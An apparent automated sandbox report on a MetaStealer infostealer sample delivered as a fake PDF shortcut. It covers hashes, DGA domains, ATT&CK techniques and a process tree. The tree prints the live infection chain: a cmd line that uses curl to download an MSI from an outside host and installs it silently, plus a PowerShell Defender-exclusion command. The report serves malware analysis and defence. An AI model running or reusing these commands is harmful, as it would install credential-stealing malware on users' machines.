metastealer | 02c22ae33c4f792f3b30e5aa8d465bd51e408079aa6f6ace1e0c56cd03a9128e

Analysis

max time kernel
146s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20250129-en
resource tags

arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
submitted
31/01/2025, 10:38

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General

Target

Document-0191536.pdf.lnk.download.lnk
Size

3KB
MD5

55546c788e0e0bfc56207ee32f6c1eab
SHA1

8b06c2ab87a75bdaa4962f8eeac7c094242b1e69
SHA256

02c22ae33c4f792f3b30e5aa8d465bd51e408079aa6f6ace1e0c56cd03a9128e
SHA512

0f51136e562b8f774ca89824c3199d97008942f16f2d2df5e4335be8467a36c7c600999d9bf5fb9c163fc2ce630d2519d54e17b1b06a8ff3fbdbf4242e21322a

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/3016-183-0x0000000010000000-0x0000000010738000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1168	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3016	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
1568	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3516	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e57c822.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC9C8.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File created	C:\Windows\Installer\e57c822.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{ADBD6944-4E7A-423C-A399-D851ADD20A5C}	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2364	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3148	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3625106387-4207083342-115176794-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3960	msedge.exe
3960	msedge.exe
3276	msedge.exe
3276	msedge.exe
4428	identity_helper.exe
4428	identity_helper.exe
1948	msiexec.exe
1948	msiexec.exe
1168	powershell.exe
1168	powershell.exe
1168	powershell.exe
3016	setup.exe
3016	setup.exe
4780	msedge.exe
4780	msedge.exe
4780	msedge.exe
4780	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeDebugPrivilege	3148	taskkill.exe
Token: SeShutdownPrivilege	2160	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2160	msiexec.exe
Token: SeSecurityPrivilege	1948	msiexec.exe
Token: SeCreateTokenPrivilege	2160	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2160	msiexec.exe
Token: SeLockMemoryPrivilege	2160	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2160	msiexec.exe
Token: SeMachineAccountPrivilege	2160	msiexec.exe
Token: SeTcbPrivilege	2160	msiexec.exe
Token: SeSecurityPrivilege	2160	msiexec.exe
Token: SeTakeOwnershipPrivilege	2160	msiexec.exe
Token: SeLoadDriverPrivilege	2160	msiexec.exe
Token: SeSystemProfilePrivilege	2160	msiexec.exe
Token: SeSystemtimePrivilege	2160	msiexec.exe
Token: SeProfSingleProcessPrivilege	2160	msiexec.exe
Token: SeIncBasePriorityPrivilege	2160	msiexec.exe
Token: SeCreatePagefilePrivilege	2160	msiexec.exe
Token: SeCreatePermanentPrivilege	2160	msiexec.exe
Token: SeBackupPrivilege	2160	msiexec.exe
Token: SeRestorePrivilege	2160	msiexec.exe
Token: SeShutdownPrivilege	2160	msiexec.exe
Token: SeDebugPrivilege	2160	msiexec.exe
Token: SeAuditPrivilege	2160	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2160	msiexec.exe
Token: SeChangeNotifyPrivilege	2160	msiexec.exe
Token: SeRemoteShutdownPrivilege	2160	msiexec.exe
Token: SeUndockPrivilege	2160	msiexec.exe
Token: SeSyncAgentPrivilege	2160	msiexec.exe
Token: SeEnableDelegationPrivilege	2160	msiexec.exe
Token: SeManageVolumePrivilege	2160	msiexec.exe
Token: SeImpersonatePrivilege	2160	msiexec.exe
Token: SeCreateGlobalPrivilege	2160	msiexec.exe
Token: SeRestorePrivilege	1948	msiexec.exe
Token: SeTakeOwnershipPrivilege	1948	msiexec.exe
Token: SeRestorePrivilege	1948	msiexec.exe
Token: SeTakeOwnershipPrivilege	1948	msiexec.exe
Token: SeDebugPrivilege	1168	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe
3276	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 808 wrote to memory of 1176	808	cmd.exe	85
PID 808 wrote to memory of 1176	808	cmd.exe	85
PID 1176 wrote to memory of 3276	1176	cmd.exe	86
PID 1176 wrote to memory of 3276	1176	cmd.exe	86
PID 1176 wrote to memory of 4824	1176	cmd.exe	88
PID 1176 wrote to memory of 4824	1176	cmd.exe	88
PID 3276 wrote to memory of 1928	3276	msedge.exe	89
PID 3276 wrote to memory of 1928	3276	msedge.exe	89
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3216	3276	msedge.exe	92
PID 3276 wrote to memory of 3960	3276	msedge.exe	93
PID 3276 wrote to memory of 3960	3276	msedge.exe	93
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94
PID 3276 wrote to memory of 2136	3276	msedge.exe	94

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Document-0191536.pdf.lnk.download.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi & C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi /qn | Taskkill /f /im cmd.exe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1176
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://s28.q4cdn.com/392171258/files/doc_downloads/test.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:3276
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0x11c,0x12c,0x7ff8600346f8,0x7ff860034708,0x7ff860034718
      4⤵
      PID:1928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
      4⤵
      PID:3216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3960
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2696 /prefetch:8
      4⤵
      PID:2136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
      4⤵
      PID:1496
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
      4⤵
      PID:1464
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4672 /prefetch:1
      4⤵
      PID:888
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=5124 /prefetch:6
      4⤵
      PID:4644
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
      4⤵
      PID:1972
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5572 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4428
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:1
      4⤵
      PID:4448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
      4⤵
      PID:704
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5180 /prefetch:1
      4⤵
      PID:1456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5164 /prefetch:1
      4⤵
      PID:4544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2120,5271616634935079254,5783054894248498089,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2652 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4780
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi https://lnbox.info/cool/setup_x64.msi
    3⤵
    PID:4824
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2160
- - C:\Windows\System32\taskkill.exe
    Taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3148

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1456

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2440

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 42685A8DEDB4E0D7A4DB84A4F1135F52
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:1568
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:3516
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5044
- - C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\files\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\files\setup.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:3016
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1168
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:2364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
bc29044ff79dd25458f32c381dc676af

SHA1
f4657c0bee9b865607ec3686b8d4f5d4c2c61cd7

SHA256
efe711204437661603d6e59765aba1654678f2093075c1eb2340dc5e80a1140f

SHA512
3d484f755d88c0485195b247230edb79c07cc0941dedbf2f34738ae4f80ba90595f5094c449b213c0c871ade6aff0a14d4acfe843186e2421ccbad221d34bf54

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
709e5bc1c62a5aa20abcf92d1a3ae51c

SHA1
71c8b6688cd83f8ba088d3d44d851c19ee9ccff6

SHA256
aa718e97104d2a4c68a9dad4aae806a22060702177f836403094f7ca7f0f8d4e

SHA512
b9fc809fbb95b29336e5102382295d71235b0e3a54828b40380958a7feaf27c6407461765680e1f61d88e2692e912f8ec677a66ff965854bea6afae69d99cf24

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
181B

MD5
1cd1076ea49dca53e30d29edcb76ca12

SHA1
62e13a81796399aeb854bf13bfbc1d3284ec74b4

SHA256
cd7b129236a194ac9c78db5fa3afd8804d8a0eff7e2908854dc921e27ed8eedf

SHA512
e14a785692afdab6703dd4df35060d69ab5aa1fc513070c75087572884cd80eaf2456bb9234492bc9e6a505f6681fd7985d76625765f02a04381413105f7822a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
6e537b2996c43b741233a7faf264914d

SHA1
9d835b432f43b47c95773224b3772efe5e80b9fe

SHA256
b901d93e47c05b1364da88d95ce9c6aef07c03437fe691ae0c714375a46c4168

SHA512
6b3c0e93ce9919597b8bcb6c93a6e338d60e1d283d690ec1e3c86ed7faca12de557a1e8801dfda45a048d4d211fbac42e5e83ece4c79033c8c3cf331cb70caad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
dee5ffe69fa1cc65840e40993bad1057

SHA1
e0a91d663231795c91d86ce5facfecb4c6693504

SHA256
00d3cb64ca05c828a67c285f53a0625e17e975a7b20e94eb44b5578c98dd47af

SHA512
ae6d3f7829397d7048f53ed43a61c7c34e2c4934d57f6348ea61ad564735a3a240a5313a56e4bb05920b9bb11fbbae8e63ce19cd6c756cec24ac37017072662f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
